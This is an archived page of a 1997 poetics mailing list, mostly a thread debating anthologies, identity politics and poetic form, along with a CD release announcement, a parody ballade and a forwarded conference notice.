My new company, Periplum, released it's first CD, Suspended Music by Deep Listening Band & Long String Instrument, earlier this year. It's a really great CD featuring the combined forces of DLB (Stu Dempster, David Gamper & Pauline Oliveros) & Ellen Fullman's Long String Instrument performing recent long works by Pauline Oliveros and Ellen Fullman. Other discs to be released this year include the 2nd release by the collaborative group Land (Jeff Greinke, Lesli Dalaba, Dennis Rea, et alia); New Songs commissioned by David Mahler & Ann Obery from eleven US composers; and recordings of interactive computer music by Martin Bartlett, including performances by Peter Hannan, George E Lewis, & Frances-Marie Uitti.

We had a great CD party in Austin a couple of weeks ago with Ellen, and there are more release parties on the way. Hey, wait, here's some now, near where you live:

Friday, March 14, 1997 5-7 pm

The Gallery at Deep Listening Space
74 Broadway
Kingston, NY 12401

Saturday, March 15, 1997 4-7 pm

Roulette
228 West Broadway
New York, NY 10013

Sorry for this impersonal bulk mail, I hope to get a chance to talk to you when I'm in your neck of the woods.

Bests

Herb

Herb Levy
[redacted]

↑ Index

237. Herb Levy
Re: CD Release Party for Deep Listening Band & Long String Instrument
Tue 11 Mar 1997

Sorry about the message with this header showing up on the list. I've already mentioned these events here enough.

My Eudora nicknames file is more screwed up than I'd thought when my earlier message to Kenny Goldsmith went to the whole list. It turns out more than one person has the list address included as part of their own e-mail address. I think I've got rid of all of this duplication now.

Bests,

H

Herb Levy
[redacted]

↑ Index

238. KENT JOHNSON
Re: "deeply disturbed"
Tue 11 Mar 1997

This is a realy interesting discussion, and very intelligent on all parts, I'd say. A few years back I tried to articulate some of my own thoughts on similar matters in the Notes section of Sulfur, responding to an essay by Jed Rasula. My attempt was critical of certain early langpo positions, and tho littered with grad school jargon I was excited to spew at the time, I recall it raises soem issues (as does Rasula's essay in his usual brilliant ways) that connect with this new thread. Anyway, should anyone care to look, this is in Sulfur 24. I vote for more people jumping in on this. This is imporatnt, no?

> *Date sent: Tue, 11 Mar 1997 14:17:19 -0600*
> *Send reply to: UB Poetics discussion group <*[redacted]*>*
> *From:* [redacted]

Subject: Re: "deeply disturbed"
To: [redacted]

dodie, i see your point... i'm finding it so very difficult to respond to this issue w/o casting stones, as it were... and being my typical long-winded self...

i bring up teaching b/c it's simply one public context in which i often find mself... there are others, sure... let me say it this way: i can see marjorie's point, which i take to be your point --- that it's often difficult as hell even to discuss matters of form, and that, perhaps partly as a result, it's often difficult to be publicly critical of minority/ethnic writers' work on the basis of form... of course this is a function of audience, context...

*but the same could be said for mainstream white guys' writing too... to be critical of a white guy's conservative approach to form will not go over big in many circles... albeit one might not be labeled a racist as a result of such criticism... still, my point here is that it's one thing to concern oneself with problems owing to critical reception (being viewed a racist, say, b/c of one's critical response), it's another to suggest that problems owing to critical reception stem from the formal tendencies of the writing being critiqued... now i'm *not* saying anybody has said this, but it seems to me that the intimation is present... if 'minority writing' is deemed shallow, say, in terms of identity politics or formal innovation, this doesn't mean that the writing itself is to be held accountable for (as suggested) a certain reticence as to saying so... this reticence is more a function of larger dynamics between communities, in which the writing in question *as well as other such writing* (white guys' writing) does in fact play a role...*

*so what's at issue here, as i see it, has still to do with the ways different communities---poets and their critics, black white and brown---come to the work... i mean, i still don't see, again, how we can avoid both the matter of cultural work and the matter of aesthetics (which latter we *can* discuss, as you suggest, in terms of the bias against discussions of form as such)...*

btw, as a white guy who grew up in so many ways in a working class household (like you) i guess i don't mind so much that i should be so associated... but i'd hate to be pigeon-holed as same, whatever this might mean aesthetically (in fact i can't stand the thought of being pigeon-holed aesthetically!)... so i see your point here... i suspect that my more recent work, in fact, being both more conventional, more male-centered, and more working class (and, dare i say it?, more marketable!) is likely down the road to give me some real conniptions, critically... i mean, from critics... it's already given my creative|critical side its share of headaches...

> *best,*
>
> *joe*

↑ Index

239. **Michael Boughn**
Re: perloff on anthologies
Tue 11 Mar 1997

> *An anthology is a kind of crystallization of two kinds of Proustian illusion: the false "prestige" of literature and the snobbery of social groups. America is big and rich enough to contain 3 or 4 levels of insiders and outsiders - each with their own intricate techniques of apprenticeship, acceptance, back-scratching, membership, publication, and credentialism. What holds them all together is self-interest and snobbery. What redeems them is each writer's naive love for a certain style or approach to writing (regional, experimental, traditional in variegated ways). But the snobbery and the prestige are the same, across the board.*

I don't think I've ever read a better analysis of the anthrpologizing process in the market economy. Thank you, Hankski. Here's a plate on yer head.

Mike
[redacted]

↑ Index

240. **henry gould**
anthologies?
Tue 11 Mar 1997

BALLADE LITTERAIRE

I wanted to write. I had it in mind
to astonish the world, with a vision quite new.
I memorized all the Great Verse I could find.
I measured, and metered, and rhymed a lot too.
I sent my work sailing to Kalamazoo,
and Great Neck and Austin and South Liverwurst...
kind Editors wrote back to ask - Who are you?
And one proverb stood by me. Through every reverse.
The first shall be last - the last shall be first.

I saw my subjectivist Ego unwind.
I joined a Collective - they knew what to do.
We wrote for each other. That Postmodern bind

of Theory and Action - l'Autre - c'est nu -
negativity - nebulous - transfigured - _blue_...
We Hugged and Supported. Each Other we nursed.
Soon voluptuous Fame warbled..._Poetry! ooh!_
and read from a Book - with her lips pertly pursed:
The first shall be last - the last shall be first.

My peers were advising me - scrape through the rind
of conventional wisdom. She just wants to screw.
So I went to the doorway. Her boudoir was lined
(compacted, in fact) with a jostling crew
of suitors... New Critics, Old Masters - Langpo,
Beat, Formalist - Outsider, Insider - Cursed-and-
Blest - all Frustrated by that monotonous moo
glued on every last gallant (from fine-assed to worst) -
The first shall be last - the last shall be first.

I never made love to her. Neither will you.
But I've mastered her mantra. I've often rehearsed.
And if you want a glimpse - you'll whisper it too.
With lips pertly pursed (you should get undressed first).
The first shall be last - the last shall be first.

- Henry Gould

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241. Tom Mandel
Zhdanov
Tue 11 Mar 1997

> *p.s. when a critic at a poetry conference in Russia called poet Ivan Zhdanov "the first Russian postmodernist", Zhdanov broke a plate over his head. What say, Mandel?*

Having rubbed bellies with Ivan Zhdanov (literally: we were attempting to move past each other at a very crowded party) I can say from close up that he is much taller than I.

Fortunately we are in agreement on the subject and category called post-modernism. It's a marketing term, like "crunch" or "classless."

Tom

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]

Fairfax, VA 22030-3409 * fax: [redacted]
****

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242. Eliza McGrand- CVA Guest

Re: anthologies?

Tue 11 Mar 1997

---

yes there is a clique mentality at work in anthologies, but you know, there is clique mentality at work whenever two or more beings shall gather in any name...

i'll do my usual ambiguous experiential fence-sit here: when i was a kid, about 9, i found a poetry anthology in my brother's books, the laurence perrine Sound and Sense, one of the early ones. i remember liking a few things in it, being fascinated enough to want to read but not having quite the stamina yet. i came back, periodically. the anthology worked perfectly as a vehicle for this, though to be fair, it was a textbook, and that helped in that i got explanations for things and historical notes. i had a few books by individual poets, but couldn't read them -- too much, too confusing. the anthologies gave me a chance to pick at particular poems, get a sense of how poems work in general. around the age of 15, i started being ready for books of poems -- my first were sexton, plath, and dickinson. and there lies the rub: when i went back to the perrine in more of an age of reason, i realized that there were almost no women writers in it. almost no black writers. now, it was an old edition but still...

the norton, the massive compendium of about 1800 pages on thin thin paper, was great in that i could find works that were referred to easily. and i could find work by authors whose names i came across right away, much of the time. BUT, again, BUT, women were grossly underrepresented, and, as has been mentioned by someone else, what you read is the anthologist's idea of a "great" poem. often, with skilled anthologists, when i've gone to complete works, i've agreed with the choices, but there have been exceptions. richard hart lovelace gets anthologized on the basis of lucasta, to althea from prison, occasionally "The Grasshopper," and in a few (norton is one), the gorgeous gorgeous "To Amarantha, that She Would Dishevel Her Hair" ("Every tress must be confessed/ But neatly tangled at the best;/ Like a clue of golden thread,/Most excellently ravelled").

but what almost never gets anthologized, and which, when compared to the well known lines of lucasta "I could not love thee, dear, so much/ loved I not honor more," is "A Loose Saraband." Lucasta was written in lovelace's early years, when he was a beautiful honored young man at court, when Charles I presided with his family, when lovelace's life seemed to open into a halcyon of

family, honors, riches, glory... then came the civil war, the massacres right and left, the despoilings, pillages, rapes. it has never been clear whether lovelace ever was a soldier, but he was put in prison twice and his brothers fought. he saw his family impoverished, his future destroyed, his fortune confiscated... and then he wrote "A Loose Saraband." for a description of a country in a firestorm of civil war, try, from the poem entreating a fellow drunk at a tavern to go off and have sex, "See all the world how't staggers,/More ugly drunk than we,/ As if far gone in daggers,/ And blood it seemed to be" and then, in the final couplet, the wrenching (set in biographical/contextual frame) "Now, is there such a trifle/ As Honour, the fool's giant?/ What is there left to rifle,/ When wine makes all parts pliant?/ Let others glory follow,/ In their false riches wallow,/ And with their grief be merry;/ Leave me but love and sherry."

this poem doesn't make it into the anthologies -- i think because everyone is so enamored of the image of the courtly cavalier poet that they don't _see_ or want to see, or want to have as part of the writer, the bitter, disillusioned, agony of the last years, as well as the no longer high flown, but often more compassionate writings. anthologies encourage quick snapshots, easily tagged and sorted "representations." all part of what i hve railed on about before, the desire for Mastery OF All Texts. if you can sort, do quick and dirty and shallow summations of selection, you can say you "Know" all about a writer. i'd have less of Knowing All About X or Y and how it Fits Into the Grand Critical Trend of the Blahblahblah years, and more of a sensitive, deep, perhaps by necessity poet-by-poet, analysis of bodies of text, with allowance given for much more complexity, changes in feeling and opinion, effects of history...

all right, off my dull soapbox...
e

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243. Robert Archambeau
Re: "deeply disturbed"
Tue 11 Mar 1997

> *i don't mind saying *here*, anyway, that it's pretty easy to be misunderstood when one slams the writing of a minority poet, however justifiably... but i don't mind saying *here*, as well, that i've noted a tendency at times on poetics to be down on more conventional work, even more conventional work that, imnsho, is exemplary*

Joe:

I sympathize with you in both of your conundrums.

Regarding the first dilemma (good politics and bad aesthetics) :

What can you do with writing that is at the same time politically astute or important and also the worst sort of kitsch? Your painstaking process of discussing "both the sociopolitical/cultural *work* done by the poems . . . and the ways in which the aesthetics *work* or don't" seems like the only reasonable way to treat the topic, better than an easy dismissiveness based on either political or aesthetic grounds.

Regarding the second (exemplary conventional work):

The issue you raise is important, and deserves extended discussion on this list. Eavan Boland, widely considered to be both conventional and exemplary, and now working among the Bay area's experimental community, put the problem this way in a recent interview (forthcoming in the next Notre Dame Review http://www.nd.edu/~english/ndr/ndr.htm):

"The issue in poetry is not the multiplication of poetries. It's the fact that there isn't yet a language of respect between these poetries."

And the solution she advocates involves a painstaking process like that you advocate for the first of your two dilemmas:

"I think one of the new tasks of workshops everywhere over the next decade is going to be to widen their vocabulary not just to speak about poetry, but to engage with, and develop a language of respect for the energies of other communities and other ideas of craft. The alternative is just sterile division . . ."

This list seems like the right venue for notes toward such a language.

It will be a good interview to check out when it appears in the next issue (and I'm not just saying that because I conducted it).

Robert Archambeau

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244. Marjorie Perloff

Re: "deeply disturbed"

Tue 11 Mar 1997

My friendly antagonist David Kellogg is "deeply disturbed" about what I say about identity politics. Sometimes I wonder if David reads what I write.

What I say, for the record, is that, whereas in 1959 Don Allen could put together an anthology of "the" new American poetry, an anthology that pretty accurately pitted the counterculture against the establishment, in the 1990s, there can no longer be ONE counterculture anthology and so attempts to produce one that is "the" avant-garde can't wholly succeed. And I write: "More important: the eightiies witnessed the coming of the minority communites. . . In their inception, many of these poetries were, ironically, quite conservative so

far as form, rhetoric, and the ontology of the poem were concerned. But counterculture poets and critics couldn't--and still can't--say this out loud because they would have immediately been labeled racist or sexist. And thus the picture has become increasingly clouded. " and then I go on to complain about the absence of all but U.S. poets in most of the new anthologies.

Now David perfectly proves my point by implying I'm somehow making a racist statement. What I meant, of course, is that the mainstream anthologies today like the Norton will include a lot of, say Rita Dove, because she's a black woman when the Norton doesn't even include Zukofsky, Reznikoff etc. not to mention Harryette Mullen, Erica Hunt, Will Alexander, or Charles Bernstein, Susan Howe, Lyn Hejinian--well, the list goes on and on, right? This is where identity politics does indeed cloud the picture because if you object to these inclusions or exclusions you are immediately branded.

I myself am "deeply disturbed" that, at the moment, on this list, people worry so much about what, say, Ed Dorn either said or didn't say and are not deeply disturbed --it seems--by the erosion of all democracy in Washington, where recent events make clear elected office or cabinet appointments that need congressional approval mean less and less, the real power coming only from those who can write a check for $100,000 at the drop of a hat. Clinton's remark that he just loves to listen to people and get good ideas--that was deeply disturbing--since he obviously doesn't listen to 99% of the population that doesn't have that kind of money.

The Left has recently written brilliantly on Clintonism--read Christopher Hitchens, Alexander Cockburn etc. But in the poetry world where post "Reagan-Bush" there seems to be no commentary on anything that goes on in the White House, there has been a curious refusal to criticize. How about Clinton's demand yesterday that the Federal Government hire the welfare people, whose money he cynically took away? And now it turns out there are no entry-level Federal jobs since he downsized the government just last year.

What I'm trying to say, badly probably, because email is not the easiest writing venue, is that, yes, I am opposed to identity politics in its crude form and no, that doesn't make me a racist, and if we want to be political, let's be political and try to do something about what is happening in Washington.

Marjorie Perloff

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245. Daniel Bouchard/College/hmco
Re: "deeply disturbed"
Tue 11 Mar 1997

I agree with so much of what Marjorie Perloff has just said that my first reaction is to NOT post anything that may merely reverberate like an "Aye" (as opposed to a "Nay"). The problem--perhaps "my" problem-- is the dymanics of e-mail interaction, so that when poet Dorn's remarks on race come up in discussion, the "thread" resembles one of those hand-held aerosol canisters that spray some kind of colored polymer goo more than it resembles a pattern, as in a tapestry, etc. The goo is fun but messy. Tapestries are useful and ornamental.

If the list touches upon something like "the erosion of all democracy in Washington" then the discussion, if it flourishes at all, will turn archival and meditative, in diminutive posts, always going back to poets (& what they may or may not have said) coeval with administrations of long ago.

People's sense of protocol differs; what wants to be included in the discussion, disagreements about much. In a sense, the List epitomizes democracy.

But generalizations are useless since most people signed on don't write anything at all.

[redacted]

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246. amato
Re: "deeply disturbed"
Tue 11 Mar 1997

i'm struck by what marjorie is saying in her last post... i don't mean to contribute to any vitriole here... but the problem goes back to this question of judgment, as i see it... something that we hammer through on poetix every now and again, but never seem to resolve... in part b/c it *can't* be resolved for once and for all...

let me step back a moment, to an earlier variant: while it's clear that critics can now ask, fruitfully, what sort of cultural work is *done* by a poem (or a novel, say, or whatever), it's likewise clear that this doesn't resolve the judgment (quality) issues... i mean, to bracket the political per se for just a second, it's constructive that we should be at odds over our aesthetics per se... this is one aspect of what writers busy themselves with when they're writing, for one... in such terms too---i don't always scrutinize my politics first when i'm looking at my line breaks... which is not to say that my line breaks are apolitical, but that perhaps my aesthetic judgment is what's first and foremost, at times... even ex post facto, for that matter...

at the same time, *as a teacher*, i find mself in a difficult situation when my white male students bring in their more experimental writing, rife with distended phalli, as exemplary moments in contemporary poetry... and an even more difficult situation, as a white male, when i hear my african-american women students voicing what sound like watered-down versions of maya angelou's "phenomenal woman," a poem that clearly speaks directly to their experience, as they see same... but is what's good for the goose good for the gander?... if i rail against the unsubtle identity gendering of male fantasy driven work, regardless how aesthetically informed, then should i likewise rail against the unsubtle essentializing of experience in the work of african-american women?... whereas the former usually reinforces an existing power relationship, the latter seems on the surface of things to act as a sort of corrective, at least short-term (i set aside the fact that such poetry often positions its subject as an object of male gaze)...

to flip things around, from a more nurturing pedagogical perspective: do i credit the aesthetic in the former, ignoring the more macho dimension?... and do i credit the identity politics of the latter, and ignore the aesthetic dimension?...

clearly, it seems to me, i need to do BOTH, somehow... i need to help students grasp the gendering of the former, the ways the aesthetic at times trivializes same, and the aesthetic simplicity-qua-simple identity of the latter... i need to discuss both the sociopolitical/cultural *work* done by the poems in varying communities, and the ways in which the aesthetics *work* or don't in this process of meaning-making, of valuing and revaluing... as contributors to this meaning-making process (along with human beings, i mean), poems can work to produce mean-spirited de- and connotations quite effectively, or well-intended de- and connotations not so effectively (in tech. writing, incidentally, you can supplement "mean-spirited" and "well-intended" with "inaccurate" and "accurate")... but the field of meaning and possibility, the discourse of poetry, is such that one's attention is (or should be) drawn not only to various connotations, but to effectiveness (yeah, i'm slipping & sliding on a form/content dualism here, and i'm using "effectiveness" itself to denote aesthetic efficacy, but i trust i'm making my point)...

in any case, these are fraught waters, in the classroom and in other public spheres... i don't mind saying *here*, anyway, that it's pretty easy to be misunderstood when one slams the writing of a minority poet, however justifiably... but i don't mind saying *here*, as well, that i've noted a tendency at times on poetics to be down on more conventional work, even more conventional work that, imnsho, is exemplary... i mean, marketplace dynamics are one thing, aesthetics can be quite another... i can like the best of all worlds, or try to...

incidentally, the new _chronicle_ has, as its back-page "point of view," an article by simon frith, "john keats vs. bob dylan: why value judgments matter"...

best,

joe

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247. **dbkk**
Re: "deeply disturbed"
Tue 11 Mar 1997

At 12:09 PM -0600 3/11/97, [redacted] wrote:

> *at the same time, *as a teacher*, i find mself in a difficult situation*

Joe, while I think what you say about teaching is very important and interesting, I think you're talking apples and oranges here: critiquing undergraduates' shakey attempts at expression versus what gets included in the Norton anthology (i.e., what is declared serious, important, of lasting value). Like nobody discusses what's included in the Whitney Biennial (or however you spell that B word) in terms of pottery classes going on at community colleges. I get frustrated with the burdens literature has to bear that nobody would place on visual art--or music. I was at an arts administration seminar recently on audience development and marketing, and it started with everybody going around the room describing a particularly memorable reading they'd been to (mine was James Schuyler's reading at the SF Art Institute). After each person talked, the facilitator extracted the essence of what made the reading so memorable: things like intimate, emotional, musical accompaniment, made the audience feel good--even my description of the Schuyler reading was reduced to these terms. When the list was completed with all these touchy-feely things, I rose my hand and said that these things were fine, but that form was left out, that many of my audience comes to readings to experience the formal pleasure of the work. She told me that if I thought form was important I would never develop my audiences. How funny that most of SPT's readings this past year have been packed to capacity!

Most grants that I've seen are steeped in identity politics--like it would be impossible to get any funding if you didn't write about your programming in those terms. There is immense pressure out there to maintain this attitude which I think turns people into cartoons. Like, would you like to be known as Joe Amato, Working Class Writer? Isn't that terribly condescending?

Joan Retallack offers a wonderful, thoughtful, beautifully written critique of identity politics (among other things) in ":RE:THINING:LITERARY:FEMINISM:

(three essays onto shaky grounds)." Unfortunately, I just read it from a xerox, so I don't know where it was published.

Dodie Bellamy

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248. **amato**
Re: "deeply disturbed"
Tue 11 Mar 1997

---

dodie, i see your point... i'm finding it so very difficult to respond to this issue w/o casting stones, as it were... and being my typical long-winded self...

i bring up teaching b/c it's simply one public context in which i often find mself... there are others, sure... let me say it this way: i can see marjorie's point, which i take to be your point --- that it's often difficult as hell even to discuss matters of form, and that, perhaps partly as a result, it's often difficult to be publicly critical of minority/ethnic writers' work on the basis of form... of course this is a function of audience, context...

but the same could be said for mainstream white guys' writing too... to be critical of a white guy's conservative approach to form will not go over big in many circles... albeit one might not be labeled a racist as a result of such criticism... still, my point here is that it's one thing to concern oneself with problems owing to critical reception (being viewed a racist, say, b/c of one's critical response), it's another to suggest that problems owing to critical reception stem from the formal tendencies of the writing being critiqued... now i'm *not* saying anybody has said this, but it seems to me that the intimation is present... if 'minority writing' is deemed shallow, say, in terms of identity politics or formal innovation, this doesn't mean that the writing itself is to be held accountable for (as suggested) a certain reticence as to saying so... this reticence is more a function of larger dynamics between communities, in which the writing in question *as well as other such writing* (white guys' writing) does in fact play a role...

so what's at issue here, as i see it, has still to do with the ways different communities---poets and their critics, black white and brown---come to the work... i mean, i still don't see, again, how we can avoid both the matter of cultural work and the matter of aesthetics (which latter we *can* discuss, as you suggest, in terms of the bias against discussions of form as such)...

btw, as a white guy who grew up in so many ways in a working class household (like you) i guess i don't mind so much that i should be so associated... but i'd hate to be pigeon-holed as same, whatever this might mean aesthetically (in fact i can't stand the thought of being pigeon-holed aesthetically!)... so i see your point here... i suspect that my more recent work, in fact, being both more

conventional, more male-centered, and more working class (and, dare i say it?, more marketable!) is likely down the road to give me some real conniptions, critically... i mean, from critics... it's already given my creative|critical side its share of headaches...

best,

joe

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249. **Christopher Alexander**
Re: "deeply disturbed"
Tue 11 Mar 1997

---

dodie wrtg:
> Joe, while I think what you say about teaching is very important and
> interesting, I think you're talking apples and oranges here: critiquing
> undergraduates' shakey attempts at expression versus what gets included in
> the Norton anthology (i.e., what is declared serious, important, of lasting
> value).
on the contrary, I think joe is articulating
a very real problem ["difficulty"] here,
viz. the unwillingness to separate ["the
attempt not to separate"] political, aesthetic,
& hortatory practice ["work"]. accepting
the sometimes contradictory political claims
of a left-guarde ["as opposed to right guard"]
modernism (not speaking for joe but for myself)
implies this kind of dilemma in teaching
writing, as does, more generally, an interest
in the cultural work of different writings. the
apples & oranges approach just doesn't make
sense to me; it seems to point up the basically
New Critical assumptions that underlie most
american creative writing workshops.

best, chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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250. Joseph M Conte
Robert Kelly
Tue 11 Mar 1997

Yes, _The Loom_ is one volume in a very impressive long poem series, from an author who practically defines the term "prolific."

A very good overview essay on Kelly's massive oeuvre is by Patrick Meanor in _Dictionary of Literary Biography: American Poets Since World War II_ vol. 165. It also contains a full primary and secondary bibliography.

Joseph Conte
University at Buffalo

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251. Pierre Joris
Re: [Fwd: CCCP]
Tue 11 Mar 1997

Mark Roberts wrote:
>
> pierre
>
> is there a email contact for this conference?
>
> mark
>

Mark -- not that i know of -- Riley is involved but had to ask Ric to mail that info -- you cld try Caddell below & ask him. Patterson in Cambridge must/may have email. -- Pierre

> *Thot this of some innerest to the list -- Pierre*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax* [redacted] *email:*[redacted]
> *http://www.albany.edu/~joris/*
> *---*
> *Everything that allows men to become rooted, through*
> *values or sentiments, in _one_ time, in _one_ history, in*
> *_one_ language, is the principle of alienation which*
> *constitutes man as privileged in so far as he is what he is,*
> *[...] imprisoning him in contentment with his own reality*
> *and encouraging him to offer it as an example or impose*

it as a conquering assertation. -- Maurice Blanchot
==========

Received: from naga.mailbase.ac.uk (naga.mailbase.ac.uk [128.240.226.3])
by sarah.albany.edu (8.8.5/8.8.5) with ESMTP id FAA04914
for <[redacted]>; Tue, 11 Mar 1997 05:04:34 -0500 (EST)
Received: by naga.mailbase.ac.uk id <[redacted]>
(8.7.x for naga.mailbase.ac.uk); Tue, 11 Mar 1997 09:10:12 GMT
Received: from hermes.dur.ac.uk by naga.mailbase.ac.uk id
<[redacted]>
(8.7.x for naga.mailbase.ac.uk) with SMTP; Tue, 11 Mar 1997 09:10:09 GMT
Received: from venus.dur.ac.uk by hermes.dur.ac.uk id
<[redacted]>
(8.6.12/ for dur.ac.uk) with SMTP; Tue, 11 Mar 1997 08:41:04 GMT
Received: from vega by venus.dur.ac.uk id <[redacted]>; Tue,
11 Mar 1997 08:41:02 GMT
Date: Tue, 11 Mar 1997 08:41:01 +0000 (GMT)
From: R I Caddel <[redacted]>
To: british n irish poets <[redacted]>
Subject: CCCP
Message-ID: <[redacted]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-List: [redacted]
X-Unsub: To leave, send text 'leave british-poets'
to [redacted]
Reply-To: R I Caddel <[redacted]>
Sender: [redacted]
Precedence: list

Message from Peter Riley says, Can you put this out on your list thingy,
as we're a bit late with publicity this year...

C.C.C.P.

The seventh annual Cambridge Conference of Contemporary Poetry will take place Friday to Sunday April 25th-27th at Kings Colleg Cambridge. For very particular reasons the event this year will emphasise non-British poetry, with poets from Australia (John Tranter, Tracy Ryan), Canada (Karen Mac Cormack, Deanna Ferguson), France (Dominique Grandmont and Emmanuel Hocquard), Belgium (Pierre-Yves Soucy), Sweden (Staffan Soderblum). Also Fiona Templeton, David Chaloner, Grace Lake.

Bookings and information: Ian Patterson, Kings College Cambridge.
tel. 01223 576422

Information: Peter Riley, 27 Sturton Street, Cambridge. tel. 01223 576422

> *Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/*
> *SIS Team*
> *Building G05 Maze Crescent*
> *University of Sydney*
> *Phone 61 2 93517710*
> *Mobile 015063970*
> *Fax 61 2 93517711*

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pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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252. **Mark Prejsnar**
Re: "deeply disturbed"
Tue 11 Mar 1997

I applaud M. Perloff's post, bringing politix into the mix more directly than it has been for some time on the list....I do feel that it's a problematic challenge..As a socialist activist and a militant in the labor movement since seventh grade (a very, very long time ago) I feel that it's good that people on this list so often have a politix close to mine... (The cultural-historical sociology of how the Left and the non-mainstream poetry world have become intertwined, has yet to be written..)

But...if we address all the questions Marjorie brin gs up, will this become primarily a listserv dealing with left issues? For instance, I could go on for the next eight screens, as to what I think "we," by which I mean "the people of the U.s.", by which I mean the majority, who don't vote for the republicrats, leaving it mainly to the far-right affluent to vote, should do to address the political state of affairs she describes quite well...It has to do with the structure of organizing,

with dropping single-issue and defensive struggles, and seriously facing issues of organizational unity and putting forward a critique of the single governmental machine (the Republicrat "party", which is not a party but a voter-registration mechanism, as it is controlled by money and not by a mass membership)...

But, obviously, I do value the list for its concern with poetry issues..At least the other thread was about poets, and how they/we relate to racism and violence (..altho' the latter two thirds of it kind of drifted away from having much direct application to poetry, as things on the list will do..) How we see politics as related to our work as poets or as people concerned with poetry, is of course more germane. That gets so intricate, and so all-inclusive of most of my own day-to-day concerns, that it is almost intimidating..

mark p.

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253. David Kellogg
Re: "deeply disturbed"
Tue 11 Mar 1997

Dear Marjorie (and others who may be listening),

If I'm your antagonist, I am indeed a friendly one. I neither intended to nor in fact did imply that you were a racist. I'm happy to read what you wrote, however, though I'd enourage the same from you ;-). I think we can start to talk to (rather than past) each other.

So let's focus on the particulars you quote from your article:

> *What I say, for the record, is that, whereas in 1959 Don Allen could put together an anthology of "the" new American poetry, an anthology that pretty accurately pitted the counterculture against the establishment, in the 1990s, there can no longer be ONE counterculture anthology and so attempts to produce one that is "the" avant-garde can't wholly succeed.*

OK fine. Here I'm totally in agreement with you (and think the major thrust of your argument quite on target).

> *And I write:*
> *"More important: the eightiies witnessed the coming of the minority communites. . . In their inception, many of these poetries were, ironically, quite conservative so far as form, rhetoric, and the ontology of the poem were concerned. But counterculture poets and critics couldn't--and still can't--say this out loud because they would have immediately been labeled racist or sexist. And thus the picture has become increasingly clouded. " and then I go on to complain about the absence of all but U.S. poets in most of the new anthologies.*

First: "the eighties witnessed the coming of the minority communities." I honestly don't know what this means; I can't hold it in my head, it just drains out between my skullplates. Are you saying that there weren't minority communities before the eighties? Or just that there weren't minority POETRY communites? Or that these communities hadn't "come" (to maturity, to coalescence, etc.)? None of these interpretations seem to me satisfying, because none of the assertions that result are, so far as I can tell, true. I'm not trying to bait you, honestly; I simply can't see what that sort of generalizaion means, nor what its point is.

Second: "In their inception, many of these [minority community] poetries were, ironically, quite conservative so far as form, rhetoric, and the ontology of the poem were concerned. But counterculture poets and critics couldn't -- and still can't -- say that out loud because they would have immediately been labeled racist or sexist." Agreements: that many of these poetries were conservative in the ways you mention. Disagreements: 1) that this formal conservatism is ironic in any sense whatsoever; and 2) that you can't say these poetries are conservative (etc.) without being labeled racist or sexist. I certainly labelled you neither, neither on this list nor in my article.

> *Now David perfectly proves my point by implying I'm somehow making a racist statement.*

You are reading into (as opposed to "not reading") what I wrote. What I wrote was that the pluralism of your approach is in tension with the exclusivity of your actual critical practice. This seems to me a perfectly reasonable critique to make. Sure I find this disturbing; but not because I think you're a racist (I don't) -- rather, because of the slippage that comes into play in passages like the one that follows:

> *What I meant, of course, is that the mainstream anthologies today like the Norton will include a lot of, say Rita Dove, because she's a black woman when the Norton doesn't even include Zukofsky, Reznikoff etc. not to mention Harryette Mullen, Erica Hunt, Will Alexander, or Charles Bernstein, Susan Howe, Lyn Hejinian--well, the list goes on and on, right? This is where identity politics does indeed cloud the picture because if you object to these inclusions or exclusions you are immediately branded.*

"Inclusions or exclusions." This is not a symmetrical complaint. The complaint about exclusions is well taken, and I'm wholly on your side in that struggle. The complaint about inclusions is where I think your pluralistic stance conflicts with your practice. Mullen, Hunt, et al. are not excluded because Rita Dove is included. (Nor do I think it fair to say that the Norton includes "a lot of . . . Dove, because she's a black woman," barring evidence to support that assertion.)

Giving Dove less space will do not one damn bit of good in making more space for Zukofsky, Howe, or Bernstein.

> *What I'm trying to say, badly probably, because email is not the easiest writing venue, is that, yes, I am opposed to identity politics in its crude form and no, that doesn't make me a racist, and if we want to be political, let's be political and try to do something about what is happening in Washington.*

1) identity politics: I do am opposed to "its crude form," but I think such opposition must not be crude either;

2) that doesn't make you a racist. Agreed (never thought otherwise);

3) politics: it's all over the place, both in Washington and in the poetry community etc. But I'd append also: If we want to do something about excluded poetry, let's not act as though the currently included poets are the problem. If we want diversity, let's have diversity, and not some revised Norton.

I don't really have any response to your comments on Dorn, because (except for one moment at its inception) I did not really participate in that thread.

I hope this is helpful in clarifying our disagreements.

Cheers,
David
~~~
~~~

feeling, about how form and politics inter-react; as if situations with students were sharper crystalizations of what many of us are trying to come to grips with, who don't teach.. mark p.

↑ Index

255. **Mark Roberts**
Re: [Fwd: CCCP]
Tue 11 Mar 1997

---

pierre

is there a email contact for this conference?

mark

>Thot this of some innerest to the list -- Pierre
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>Everything that allows men to become rooted, through
>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality
>and encouraging him to offer it as an example or impose
>it as a conquering assertion. -- Maurice Blanchot
>==========
>
>Received: from naga.mailbase.ac.uk (naga.mailbase.ac.uk [128.240.226.3])
> by sarah.albany.edu (8.8.5/8.8.5) with ESMTP id FAA04914
> for <[redacted]>; Tue, 11 Mar 1997 05:04:34 -0500 (EST)
>Received: by naga.mailbase.ac.uk id <[redacted]>
> (8.7.x for naga.mailbase.ac.uk); Tue, 11 Mar 1997 09:10:12 GMT
>Received: from hermes.dur.ac.uk by naga.mailbase.ac.uk id
<[redacted]>
